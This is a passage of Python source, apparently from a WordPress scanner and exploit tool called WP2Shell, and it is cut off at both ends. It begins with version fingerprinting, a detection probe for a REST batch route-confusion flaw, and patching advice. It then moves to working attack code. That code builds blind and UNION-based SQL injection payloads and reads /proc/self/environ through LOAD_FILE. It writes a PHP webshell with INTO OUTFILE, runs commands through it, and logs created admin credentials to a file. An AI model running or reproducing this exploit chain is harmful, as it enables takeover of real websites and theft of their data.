           detail=detail))\n\n\ndef extract_version_evidence(response: HttpResult, source_hint: str) -> List[VersionEvidence]:\n    text = response.text()\n    result: List[VersionEvidence] = []\n    url = response.final_url\n\n    for tag_match in re.finditer(r\"]*>\", text, re.I | re.S):\n        tag = html.unescape(tag_match.group(0))\n        name = re.search(r\"\\bname\\s*=\\s*['\\\"]generator['\\\"]\", tag, re.I)\n        content = re.search(r\"\\bcontent\\s*=\\s*['\\\"]([^'\\\"]+)['\\\"]\", tag, re.I)\n        if name and content:\n            wp = re.search(r\"\\bWordPress\\s+([^\\s'\\\"<>]+)\", content.group(1), re.I)\n            if wp:\n                _add_evidence(result, wp.group(1), \"meta-generator\", url, 0.98)\n\n    for match in re.finditer(r\"wordpress\\.org/\\?v=([^<\\s'\\\"&]+)\", text, re.I):\n        _add_evidence(result, match.group(1), \"feed-generator\", url, 0.98)\n\n    if source_hint == \"readme\":\n        for pattern in (r\"\\bVersion\\s+([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\",\n                        r\"\\s*Version\\s+([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\"):\n            match = re.search(pattern, text, re.I)\n            if match:\n                _add_evidence(result, match.group(1), \"readme\", url, 0.90)\n\n    assets = re.findall(\n        r\"(?:wp-includes|wp-admin)/[^\\s'\\\"<>?#]+\\?[^\\s'\\\"<>#]*\\bver=([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)\",\n        html.unescape(text), re.I,\n    )\n    counts = Counter(assets)\n    for version_text, count in counts.items():\n        confidence = 0.70 if count >= 2 else 0.55\n        _add_evidence(result, version_text, \"core-asset-query\", url, confidence,\n                      f\"observed {count} core asset(s)\")\n\n    for header_name in (\"x-generator\", \"generator\"):\n        header_value = response.headers.get(header_name, \"\")\n        match = re.search(r\"\\bWordPress\\s+([^\\s;]+)\", header_value, re.I)\n        if match:\n            _add_evidence(result, match.group(1), \"http-generator-header\", url, 0.90)\n\n    return result\n\n\ndef wordpress_signals(response: HttpResult) -> Tuple[float, List[str]]:\n    text = response.text().lower()\n    headers = {k.lower(): v.lower() for k, v in response.headers.items()}\n    score = 0.0\n    signals: List[str] = []\n\n    if \"wp-content/\" in text:\n        score += 0.35\n        signals.append(\"wp-content\")\n    if \"wp-includes/\" in text:\n        score += 0.35\n        signals.append(\"wp-includes\")\n    if \"wordpress\" in text and \"generator\" in text:\n        score += 0.35\n        signals.append(\"generator\")\n    if \"api.w.org\" in headers.get(\"link\", \"\") or \"api.w.org\" in text:\n        score += 0.25\n        signals.append(\"rest-link\")\n    if response.headers.get(\"x-pingback\"):\n        score += 0.15\n        signals.append(\"x-pingback\")\n\n    try:\n        parsed = json.loads(response.text())\n    except (json.JSONDecodeError, TypeError):\n        parsed = None\n    if isinstance(parsed, dict):\n        if isinstance(parsed.get(\"namespaces\"), list) and isinstance(parsed.get(\"routes\"), dict):\n            score += 0.70\n            signals.append(\"wp-rest-index-shape\")\n        if \"wp/v2\" in parsed.get(\"namespaces\", []):\n            score += 0.25\n            signals.append(\"wp-v2-namespace\")\n\n    return min(score, 1.0), signals\n\n\ndef parse_rest_index(response: HttpResult) -> Tuple[Optional[bool], bool]:\n    try:\n        data = json.loads(response.text())\n    except (json.JSONDecodeError, TypeError):\n        return None, False\n    if not isinstance(data, dict) or not isinstance(data.get(\"routes\"), dict):\n        return None, False\n    routes = data[\"routes\"]\n    return \"/batch/v1\" in routes, True\n\n\ndef select_version(evidence: Sequence[VersionEvidence]) -> Tuple[Optional[WPVersion], float, bool]:\n    if not evidence:\n        return None, 0.0, False\n    scores: Dict[str, float] = {}\n    max_confidence: Dict[str, float] = {}\n    sources: Dict[str, Set[str]] = {}\n    for item in evidence:\n        scores[item.version] = scores.get(item.version, 0.0) + item.confidence\n        max_confidence[item.version] = max(max_confidence.get(item.version, 0.0),\n                                           item.confidence)\n        sources.setdefault(item.version, set()).add(item.source)\n    selected_text = max(scores, key=lambda v: (scores[v], max_confidence[v],\n                                               len(sources[v]), v))\n    conflict = len(scores) > 1\n    confidence = max_confidence[selected_text]\n    if len(sources[selected_text]) >= 2:\n        confidence = min(1.0, confidence + 0.02)\n    if conflict:\n        confidence = max(0.0, confidence - 0.15)\n    return parse_wp_version(selected_text), confidence, conflict\n\n\ndef _response_body(entry: Any) -> Any:\n    if isinstance(entry, dict):\n        return entry.get(\"body\")\n    return None\n\n\ndef analyze_active_probe(response: HttpResult) -> ActiveProbeResult:\n    result = ActiveProbeResult(attempted=True, endpoint=response.requested_url,\n                               http_status=response.status,\n                               elapsed_ms=response.elapsed_ms,\n                               error=response.error)\n\n    if response.status is None:\n        result.result = \"transport-error\"\n        result.explanation = response.error or \"No HTTP response was received.\"\n        return result\n\n    try:\n        data = json.loads(response.text())\n    except json.JSONDecodeError:\n        result.result = \"indeterminate\"\n        result.explanation = \"The endpoint did not return a JSON batch response.\"\n        return result\n\n    if not isinstance(data, dict) or not isinstance(data.get(\"responses\"), list):\n        code = data.get(\"code\") if isinstance(data, dict) else None\n        result.result = \"blocked-or-unavailable\"\n        result.explanation = (f\"Batch endpoint returned top-level REST error {code!r}.\"\n                              if code else\n                              \"Response did not have the WordPress batch envelope.\")\n        return result\n\n    responses = data[\"responses\"]\n    if len(responses) < 2:\n        result.result = \"indeterminate\"\n        result.explanation = \"Batch envelope contained fewer responses than the safe probe sent.\"\n        return result\n\n    first_body = _response_body(responses[0])\n    first_parse_error = (isinstance(first_body, dict)\n                         and first_body.get(\"code\") == \"parse_path_failed\")\n    second = responses[1] if isinstance(responses[1], dict) else {}\n    second_body = _response_body(second)\n    second_status = second.get(\"status\") if isinstance(second, dict) else None\n    nested_batch = (first_parse_error and second_status == 207\n                    and isinstance(second_body, dict)\n                    and isinstance(second_body.get(\"responses\"), list))\n\n    if nested_batch:\n        result.result = \"route-confusion-observed\"\n        result.vulnerable_signal = True\n        result.explanation = (\"The request addressed to the invalid post ID was \"\n                              \"executed as the following batch route, and the \"\n                              \"nested public GET ran.\")\n        return result\n\n    patched_error_codes = {\n        \"rest_post_invalid_id\", \"rest_cannot_edit\", \"rest_cannot_create\",\n        \"rest_forbidden\", \"rest_missing_callback_param\", \"rest_batch_not_allowed\",\n    }\n    second_code = second_body.get(\"code\") if isinstance(second_body, dict) else None\n    if first_parse_error and (second_code in patched_error_codes\n                              or second_status in {400, 401, 403, 404}):\n        result.result = \"route-confusion-not-observed\"\n        result.patched_signal = True\n        result.explanation = \"The malformed entry remained aligned with its own match.\"\n        return result\n\n    result.result = \"indeterminate\"\n    result.explanation = \"A WordPress batch response was received, but did not match expected patterns.\"\n    return result\n\n\ndef _record_request(result: ScanResult, response: HttpResult, enabled: bool) -> None:\n    if enabled:\n        result.requests.append(response.as_summary())\n\n\ndef _safe_remediation() -> str:\n    return (\"Update WordPress core to 6.9.5 or 7.0.2 (or a later supported \"\n            \"release). Until patched, block unauthenticated POST access to \"\n            \"both /wp-json/batch/v1 and /?rest_route=/batch/v1.\")\n\n\ndef finalize_scan_result(result: ScanResult) -> None:\n    version = parse_wp_version(result.selected_version)\n    assessment, version_verdict, version_severity, version_summary = assess_version(version)\n    result.version_assessment = assessment\n    active = result.active_probe\n\n    if active.vulnerable_signal:\n        result.verdict = \"CONFIRMED_VULNERABLE_BEHAVIOR\"\n        result.severity = \"critical\"\n        result.summary = (f\"The safe active probe confirmed the request/route \"\n                          f\"desynchronization associated with {CVE_ROUTE_CONFUSION}.\")\n        if result.selected_version:\n            result.summary += f\" Fingerprinted version: {result.selected_version}.\"\n        result.remediation = _safe_remediation()\n        return\n\n    if version_verdict == \"LIKELY_VULNERABLE\":\n        if active.patched_signal:\n            result.verdict = \"AFFECTED_VERSION_BUT_BEHAVIOR_NOT_OBSERVED\"\n            result.severity = \"high\"\n            result.summary = (\"The exposed version is in the affected range, but the \"\n                              \"route-confusion behavior was not observed.\")\n        else:\n            result.verdict = version_verdict\n            result.severity = version_severity\n            result.summary = version_summary\n        result.remediation = _safe_remediation()\n        return\n\n    if version_verdict == \"VULNERABLE_SQLI_ONLY\":\n        result.verdict = version_verdict\n        result.severity = version_severity\n        result.summary = version_summary\n        result.remediation = (\"Update the 6.8 branch to WordPress 6.8.6 or move to \"\n                              \"a later supported release.\")\n        return\n\n    if version is not None:\n        result.verdict = version_verdict\n        result.severity = version_severity\n        result.summary = version_summary\n        if version_verdict in {\"PATCHED_VERSION\", \"NOT_AFFECTED\"}:\n            result.remediation = \"No WP2Shell-specific action is required.\"\n        else:\n            result.remediation = (\"Confirm the installed release against the \"\n                                  \"current WordPress security advisory and keep \"\n                                  \"core fully updated.\")\n        return\n\n    if result.wordpress_detected and result.batch_route_exposed:\n        result.verdict = \"POTENTIALLY_EXPOSED_VERSION_UNKNOWN\"\n        result.severity = \"high\"\n        result.summary = (\"WordPress and its batch route were detected, but the \"\n                          \"core version is hidden.\")\n        result.remediation = _safe_remediation()\n    elif result.wordpress_detected:\n        result.verdict = \"WORDPRESS_VERSION_UNKNOWN\"\n        result.severity = \"medium\"\n        result.summary = \"WordPress was detected, but version could not be determined.\"\n        result.remediation = \"Verify locally with wp core version.\"\n    elif result.errors:\n        result.verdict = \"ERROR\"\n        result.severity = \"info\"\n        result.summary = \"The target could not be assessed reliably.\"\n        result.remediation = \"Review the recorded transport/HTTP errors.\"\n    else:\n        result.verdict = \"NOT_WORDPRESS_OR_NOT_DETECTED\"\n        result.severity = \"info\"\n        result.summary = \"No reliable WordPress signature was detected.\"\n        result.remediation = \"None.\"\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  SQLI VALIDATION + TIMING TEST\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef validate_categories_sqli_response(response: HttpResult) -> Tuple[bool, str]:\n    if response.status != 207:\n        return False, f\"outer HTTP status {response.status} (expected 207)\"\n    content_type = response.headers.get(\"content-type\", \"\")\n    if \"application/json\" not in content_type.lower():\n        return False, \"not JSON content\"\n    try:\n        data = json.loads(response.text())\n    except json.JSONDecodeError:\n        return False, \"invalid JSON\"\n    if not isinstance(data, dict) or \"responses\" not in data:\n        return False, \"missing outer 'responses' array\"\n    outer_responses = data[\"responses\"]\n    if not isinstance(outer_responses, list) or len(outer_responses) < 2:\n        return False, \"too few outer responses\"\n\n    first_outer = outer_responses[0]\n    first_body = first_outer.get(\"body\") if isinstance(first_outer, dict) else None\n    if not (isinstance(first_body, dict)\n            and first_body.get(\"code\") == \"parse_path_failed\"):\n        return False, \"first outer not parse_path_failed\"\n\n    second_outer = outer_responses[1]\n    if not isinstance(second_outer, dict):\n        return False, \"second outer not an object\"\n    inner_body = second_outer.get(\"body\")\n    if not isinstance(inner_body, dict) or \"responses\" not in inner_body:\n        return False, \"inner batch missing\"\n    inner_responses = inner_body[\"responses\"]\n    if not isinstance(inner_responses, list) or len(inner_responses) < 3:\n        return False, \"inner batch too few responses (need at least 3)\"\n\n    inner_first_body = _response_body(inner_responses[0])\n    if not (isinstance(inner_first_body, dict)\n            and inner_first_body.get(\"code\") == \"parse_path_failed\"):\n        return False, \"inner first not parse_path_failed\"\n\n    inner_second = inner_responses[1] if isinstance(inner_responses[1], dict) else {}\n    inner_second_status = inner_second.get(\"status\")\n    if not isinstance(inner_second_status, int) or not 200 <= inner_second_status < 300:\n        return False, f\"inner SQLi request status {inner_second_status} (expected 2xx)\"\n    return True, \"ok\"\n\n\ndef _perform_timing_test(client: HttpClient, batch_url: str,\n                         delay_seconds: int = 2, num_samples: int = 4,\n                         warmups: int = 2, debug: bool = False\n                         ) -> Tuple[List[float], List[float], List[str]]:\n    false_times: List[float] = []\n    true_times: List[float] = []\n    debug_msgs: List[str] = []\n\n    for i in range(warmups):\n        if debug:\n            debug_msgs.append(f\"[DEBUG] warm-up {i+1}/{warmups}\")\n        probe = build_timing_probe(delay_seconds, true=False)\n        resp = client.request(\"POST\", batch_url, json_body=probe,\n                              headers={\"X-WP2Shell-Detector\": \"timing\"},\n                              retry=False)\n        valid, reason = validate_categories_sqli_response(resp)\n        if debug:\n            debug_msgs.append(f\"[DEBUG] warm-up valid: {valid}, reason: {reason}\")\n\n    pairs = [(\"false\", False), (\"true\", True)] * num_samples\n    for idx, (label, true_cond) in enumerate(pairs):\n        if debug:\n            debug_msgs.append(f\"[DEBUG] sending {label} request {idx+1}/{len(pairs)}\")\n        probe = build_timing_probe(delay_seconds, true=true_cond)\n        resp = client.request(\"POST\", batch_url, json_body=probe,\n                              headers={\"X-WP2Shell-Detector\": \"timing\"},\n                              retry=False)\n        elapsed = resp.elapsed_ms / 1000.0\n        valid, reason = validate_categories_sqli_response(resp)\n        if debug:\n            debug_msgs.append(f\"[DEBUG]   HTTP {resp.status}, elapsed {elapsed:.3f}s, \"\n                              f\"valid: {valid} ({reason})\")\n        if valid:\n            if label == \"false\":\n                false_times.append(elapsed)\n            else:\n                true_times.append(elapsed)\n    return false_times, true_times, debug_msgs\n\n\ndef _classify_timing_result(false_times: List[float], true_times: List[float],\n                            delay_seconds: float = 2.0) -> SqliProbeResult:\n    res = SqliProbeResult(attempted=True)\n\n    if len(false_times) < 3 or len(true_times) < 3:\n        res.result = \"inconclusive\"\n        res.explanation = (f\"Insufficient valid measurements \"\n                           f\"(false: {len(false_times)}, true: {len(true_times)})\")\n        res.false_count = len(false_times)\n        res.true_count = len(true_times)\n        return res\n\n    false_median = statistics.median(false_times)\n    true_median = statistics.median(true_times)\n    diff = true_median - false_median\n\n    min_diff = max(delay_seconds * 0.60, 0.75)\n    delayed_count = sum(1 for t in true_times if (t - false_median) >= min_diff)\n    required_delayed = max(3, int(len(true_times) * 0.75))\n\n    res.false_count = len(false_times)\n    res.true_count = len(true_times)\n    res.false_median = round(false_median, 3)\n    res.true_median = round(true_median, 3)\n    res.difference = round(diff, 3)\n\n    if diff >= min_diff and delayed_count >= required_delayed:\n        res.result = \"vulnerable\"\n        res.vulnerable_signal = True\n        res.patched_signal = False\n        res.explanation = (f\"True-condition requests show a repeatable delay \"\n                           f\"(~{diff:.3f}s) absent from false controls.\")\n    else:\n        res.result = \"not-observed\"\n        res.vulnerable_signal = False\n        res.patched_signal = False\n        res.explanation = (f\"No consistent timing differential \"\n                           f\"(median diff {diff:.3f}s, delayed true samples \"\n                           f\"{delayed_count}/{len(true_times)}).\")\n    return res\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  BLIND EXTRACTION\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef _bool_condition(sql: str, delay: int = 1) -> str:\n    return f\"0) AND (SELECT 1 FROM (SELECT IF(({sql}),SLEEP({delay}),0))x)-- -\"\n\n\ndef _match_count(resp: HttpResult) -> Optional[int]:\n    try:\n        data = json.loads(resp.text())\n        inner = data[\"responses\"][1][\"body\"][\"responses\"][1]\n        headers = inner.get(\"headers\") or {}\n        total = headers.get(\"X-WP-Total\")\n        return int(total) if total is not None else None\n    except (KeyError, IndexError, TypeError, ValueError, json.JSONDecodeError):\n        return None\n\n\ndef _test_bool(client: HttpClient, batch_url: str, condition: str,\n               delay: int = 1, debug: bool = False) -> bool:\n    probe = build_route_confusion_sqli_probe(f\"-1) AND ({condition})-- -\")\n    resp = client.request(\"POST\", batch_url, json_body=probe,\n                          headers={\"X-WP2Shell-Exploit\": \"extract\"},\n                          retry=False)\n    count = _match_count(resp)\n    if count is not None:\n        result = count > 0\n        if debug:\n            print(f\"    {lav('[oracle]')} {condition[:50]:<50} -> total={count} \"\n                  f\"{green('TRUE') if result else red('FALSE')}\", file=sys.stderr)\n        return result\n\n    elapsed = resp.elapsed_ms / 1000.0\n    result = elapsed >= (delay * 0.8)\n    if debug:\n        print(f\"    {lav('[timing]')} {condition[:50]:<50} -> {elapsed:.3f}s \"\n              f\"{green('TRUE') if result else red('FALSE')}\", file=sys.stderr)\n    return result\n\n\ndef _extract_string(client: HttpClient, batch_url: str, query: str,\n                    max_len: int = 64, delay: int = 1,\n                    debug: bool = False) -> str:\n    result = \"\"\n    for pos in range(1, max_len + 1):\n        low, high = 0, 127\n        while low < high:\n            mid = (low + high + 1) // 2\n            cond = f\"ASCII(SUBSTRING(({query}),{pos},1)) >= {mid}\"\n            if _test_bool(client, batch_url, cond, delay=delay, debug=debug):\n                low = mid\n            else:\n                high = mid - 1\n        if low == 0:\n            break\n        result += chr(low)\n        if debug:\n            print(f\"  [{pos:02d}] {violet(result)}\", file=sys.stderr)\n    return result\n\n\nclass _BudgetExhausted(Exception):\n    pass\n\n\ndef _spend(budget):\n    if budget is not None:\n        if budget[0] <= 0:\n            raise _BudgetExhausted()\n        budget[0] -= 1\n\n\ndef _check_load_file(client, batch_url, path, delay=1, debug=False, budget=None):\n    _spend(budget)\n    cond = f\"SELECT LOAD_FILE('{path}') IS NOT NULL\"\n    return _test_bool(client, batch_url, cond, delay=delay, debug=debug)\n\n\ndef _extract_env_var(client, batch_url, var_name, delay=1, debug=False, budget=None):\n    def t(cond):\n        _spend(budget)\n        return _test_bool(client, batch_url, cond, delay=delay, debug=debug)\n\n    for environ_path in [\"/proc/self/environ\", \"/proc/1/environ\"]:\n        if not _check_load_file(client, batch_url, environ_path,\n                                delay=delay, debug=debug, budget=budget):\n            if debug:\n                print(f\"    LOAD_FILE('{environ_path}') returned NULL\",\n                      file=sys.stderr)\n            continue\n\n        if debug:\n            print(f\"    Reading {environ_path} ...\", file=sys.stderr)\n\n        find_sql = (f\"SELECT LOCATE('{var_name}=', \"\n                    f\"LOAD_FILE('{environ_path}'))\")\n        low, high = 0, 2000\n        while low < high:\n            mid = (low + high + 1) // 2\n            cond = f\"({find_sql}) >= {mid}\"\n            if t(cond):\n                low = mid\n            else:\n                high = mid - 1\n        if low == 0:\n            continue\n        start_pos = low\n\n        value = \"\"\n        for i in range(120):\n            char_pos = start_pos + len(var_name) + 1 + i\n            cond = (f\"ORD(SUBSTRING(LOAD_FILE('{environ_path}'),\"\n                    f\"{char_pos},1)) = 0\")\n            if t(cond):\n                break\n            lo, hi = 32, 126\n            while lo < hi:\n                mid = (lo + hi + 1) // 2\n                cond2 = (f\"ORD(SUBSTRING(LOAD_FILE('{environ_path}'),\"\n                         f\"{char_pos},1)) >= {mid}\")\n                if t(cond2):\n                    lo = mid\n                else:\n                    hi = mid - 1\n            if lo < 32:\n                break\n            value += chr(lo)\n            if debug:\n                print(f\"    {var_name}[{i+1}] {value}\", file=sys.stderr)\n        return value\n    return None\n\n\ndef _emit_exploit_output(output_path: Optional[str], content: str) -> None:\n    if output_path:\n        Path(output_path).write_text(content, encoding=\"utf-8\")\n    else:\n        print(content)\n\n\ndef _write_and_check_shell(client, batch_url, base, shell_path, cmd,\n                           output_path=None) -> bool:\n    try:\n        priv = _union_read(client, batch_url, \"SELECT @@secure_file_priv\")\n    except Exception:\n        priv = None\n\n    if priv is None:\n        print(red(\"[-]\") + \" secure_file_priv NULL: INTO OUTFILE indisponivel.\")\n        return False\n    if priv and priv != \"\":\n        print(red(\"[-]\") + f\" secure_file_priv={priv}: escrita fora dele bloqueada.\")\n        return False\n\n    php_code = \"\"\n    payload = (f\"0) OR (SELECT 0x{php_code.encode().hex()} \"\n               f\"INTO OUTFILE '{shell_path}') IS NOT NULL-- -\")\n    probe = build_route_confusion_sqli_probe(payload)\n    resp = client.request(\"POST\", batch_url, json_body=probe,\n                          headers={\"X-WP2Shell-Exploit\": \"write-shell\"},\n                          retry=False)\n    if resp.status != 207:\n        print(red(\"[-]\") + f\" Shell write request failed (HTTP {resp.status}).\")\n        return False\n\n    shell_url = urllib.parse.urljoin(base, \"wp-content/uploads/ws.php\")\n    check_resp = client.request(\"GET\", f\"{shell_url}?c=id\")\n    if check_resp.status == 200 and \"uid=\" in check_resp.text():\n        print(mint(\"[+]\") + \" Webshell active.\")\n        resp2 = client.request(\"GET\", f\"{shell_url}?c={urllib.parse.quote(cmd)}\")\n        if resp2.status == 200:\n            _emit_exploit_output(output_path, resp2.text())\n            return True\n    print(red(\"[-]\") + \" Webshell not accessible.\")\n    return False\n\n\ndef _try_outfile_root(client, batch_url, base, cmd, root_hint, output_path=None) -> bool:\n    idx = root_hint.find(\"/wp-content\")\n    if idx == -1:\n        return False\n    root = root_hint[:idx]\n    shell_path = root + \"/wp-content/uploads/ws.php\"\n    print(cyan(\"[*]\") + f\" Trying INTO OUTFILE em {shell_path} ...\")\n    return _write_and_check_shell(client, batch_url, base, shell_path,\n                                   cmd, output_path)\n\n\ndef _direct_shell_write(client, base, batch_url, cmd, debug=False,\n                        output_path: Optional[str] = None, delay=1.0,\n                        budget: Optional[List[int]] = None):\n    if budget is None:\n        budget = [120]\n    print(cyan(\"[*]\") + f\" Extracting DOCUMENT_ROOT from /proc/self/environ... \"\n          f\"(delay={delay}s, budget={budget[0]} req)\")\n    try:\n        doc_root = _extract_env_var(client, batch_url, \"DOCUMENT_ROOT\",\n                                     delay=delay, debug=debug, budget=budget)\n    except _BudgetExhausted:\n        print(red(\"[-]\") + \" Request budget exhausted (FILE priv presente mas \"\n              \"extracao lenta demais).\")\n        print(red(\"[-]\") + \" Direct write failed.\")\n        return False\n    if not doc_root:\n        print(red(\"[-]\") + \" Could not determine DOCUMENT_ROOT via LOAD_FILE. \"\n              \"Trying alternative method...\")\n        print(red(\"[-]\") + \" Direct write failed.\")\n        return False\n\n    print(mint(\"[+]\") + f\" DOCUMENT_ROOT = {doc_root}\")\n    shell_path = doc_root.rstrip('/') + \"/wp-content/uploads/ws.php\"\n    print(cyan(\"[*]\") + f\" Writing shell to {shell_path} ...\")\n    return _write_and_check_shell(client, batch_url, base, shell_path,\n                                   cmd, output_path)\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  UNION-BASED EXTRACTION / ADMIN CREATION\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n_DESYNC_PRIMER = {\"method\": \"POST\", \"path\": \"///\"}\n_POSTS_ITEM_SOURCE = \"/wp/v2/posts/999999\"\n_POST_DATE = \"2020-01-01 00:00:00\"\n_OEMBED_SIZE = 'a:2:{s:5:\"width\";s:3:\"500\";s:6:\"height\";s:3:\"750\";}'\n_NAV_URL = \"https://example.invalid/\"\n_PREFIXES = (\"wp_\", \"wp1_\", \"wp2_\", \"wpx_\", \"wpdev_\", \"wordpress_\", \"site_\", \"blog_\")\n_UNION_RE = re.compile(r\"\\|\\|([0-9A-Fa-f]*)\\|\\|\")\n_ADMIN_LOG = \"admins.txt\"\n_admin_log_lock = threading.Lock()\n\n\ndef _log_admin(target: str, username: str, password: str) -> None:\n    with _admin_log_lock:\n        try:\n            with open(_ADMIN_LOG, \"a\", encoding=\"utf-8\", errors=\"replace\") as f:\n                f.write(f\"{target} | {username}:{password} | admin-only\\n\")\n        except OSError:\n            pass\n\n\ndef _mysql_hex(text: str) -> str:\n    return f\"0x{text.encode().hex()}\" if text else \"''\"\n\n\ndef _wp_posts_tuple(row_id: int, *, body: str = \"\", title: str = \"\",\n                    status: str = \"publish\", slug: str = \"\", parent: int = 0,\n                    kind: str = \"post\", author: int = 1) -> str:\n    cols = [\n        str(row_id), str(author),\n        _mysql_hex(_POST_DATE), _mysql_hex(_POST_DATE),\n        _mysql_hex(body), _mysql_hex(title), \"''\",\n        _mysql_hex(status), _mysql_hex(\"closed\"), _mysql_hex(\"closed\"),\n        \"''\", _mysql_hex(slug), \"''\", \"''\",\n        _mysql_hex(_POST_DATE), _mysql_hex(_POST_DATE), \"''\",\n        str(parent), \"''\", \"0\", _mysql_hex(kind), \"''\", \"0\",\n    ]\n    return \",\".join(cols)\n\n\ndef _union_read(client: HttpClient, batch_url: str,\n                expression: str) -> Optional[str]:\n    cols = []\n    for i in range(1, 24):\n        if i == 1:\n            cols.append(\"999999\")\n        elif i in (3, 4, 15, 16):\n            cols.append(_mysql_hex(_POST_DATE))\n        elif i == 6:\n            cols.append(f\"CONCAT(0x7c7c,HEX(CAST(({expression}) AS CHAR)),0x7c7c)\")\n        elif i == 8:\n            cols.append(_mysql_hex(\"publish\"))\n        elif i == 21:\n            cols.append(_mysql_hex(\"post\"))\n        else:\n            cols.append(str(i))\n    payload = \"1) AND 1=0 UNION SELECT \" + \",\".join(cols) + \"-- -\"\n    query = urllib.parse.urlencode(\n        {\"author_exclude\": payload, \"orderby\": \"none\", \"per_page\": \"500\"}\n    )\n    inner = {\n        \"requests\": [\n            _DESYNC_PRIMER,\n            {\"method\": \"GET\", \"path\": _POSTS_ITEM_SOURCE + \"?\" + query},\n            {\"method\": \"GET\", \"path\": \"/wp/v2/posts\"},\n        ]\n    }\n    outer = {\n        \"requests\": [\n            _DESYNC_PRIMER,\n            {\"method\": \"POST\", \"path\": \"/wp/v2/posts\", \"body\": inner},\n            {\"method\": \"POST\", \"path\": \"/batch/v1\", \"body\": {\"requests\": []}},\n        ]\n    }\n    resp = client.request(\"POST\", batch_url, json_body=outer, retry=False)\n    m = _UNION_RE.search(resp.text())\n    if not m:\n        return None\n    digits = m.group(1)\n    if len(digits) % 2:\n        digits = digits[:-1]\n    try:\n        return bytes.fromhex(digits).decode(\"utf-8\", \"replace\")\n    except ValueError:\n        return None\n\n\ndef _union_integer(client: HttpClient, batch_url: str, expression: str) -> int:\n    text = (_union_read(client, batch_url, expression) or \"\").strip()\n    if not text.lstrip(\"-\").isdigit():\n        raise ValueError(f\"expected integer, got {text!r}\")\n    return int(text)\n\n\ndef _render_union_posts(client: HttpClient, batch_url: str,\n                        post_rows: List[str],\n                        tail_requests: Optional[List[Dict[str, Any]]] = None) -> None:\n    union_payload = (\"1) AND 1=0 UNION ALL SELECT \"\n                     + \" UNION ALL SELECT \".join(post_rows) + \" -- -\")\n    query = urllib.parse.urlencode(\n        {\"author_exclude\": union_payload, \"per_page\": \"500\", \"orderby\": \"none\"}\n    )\n    inner: List[Dict[str, Any]] = [\n        {\"method\": \"GET\", \"path\": \"http://:\"},\n        {\"method\": \"GET\", \"path\": _POSTS_ITEM_SOURCE + \"?\" + query},\n        {\"method\": \"GET\", \"path\": \"/wp/v2/posts\"},\n    ]\n    if tail_requests:\n        inner.extend(tail_requests)\n    outer = {\n        \"requests\": [\n            {\"method\": \"POST\", \"path\": \"http://:\"},\n            {\"method\": \"POST\", \"path\": \"/wp/v2/posts\", \"body\": {\"requests\": inner}},\n            {\"method\": \"POST\", \"path\": \"/batch/v1\", \"body\": {\"requests\": []}},\n        ]\n    }\n    client.request(\"POST\", batch_url, json_body=outer, retry=False)\n\n\ndef _first_embeddable_link(client: HttpClient, base: str) -> Optional[str]:\n    for route in (\"/wp/v2/posts\", 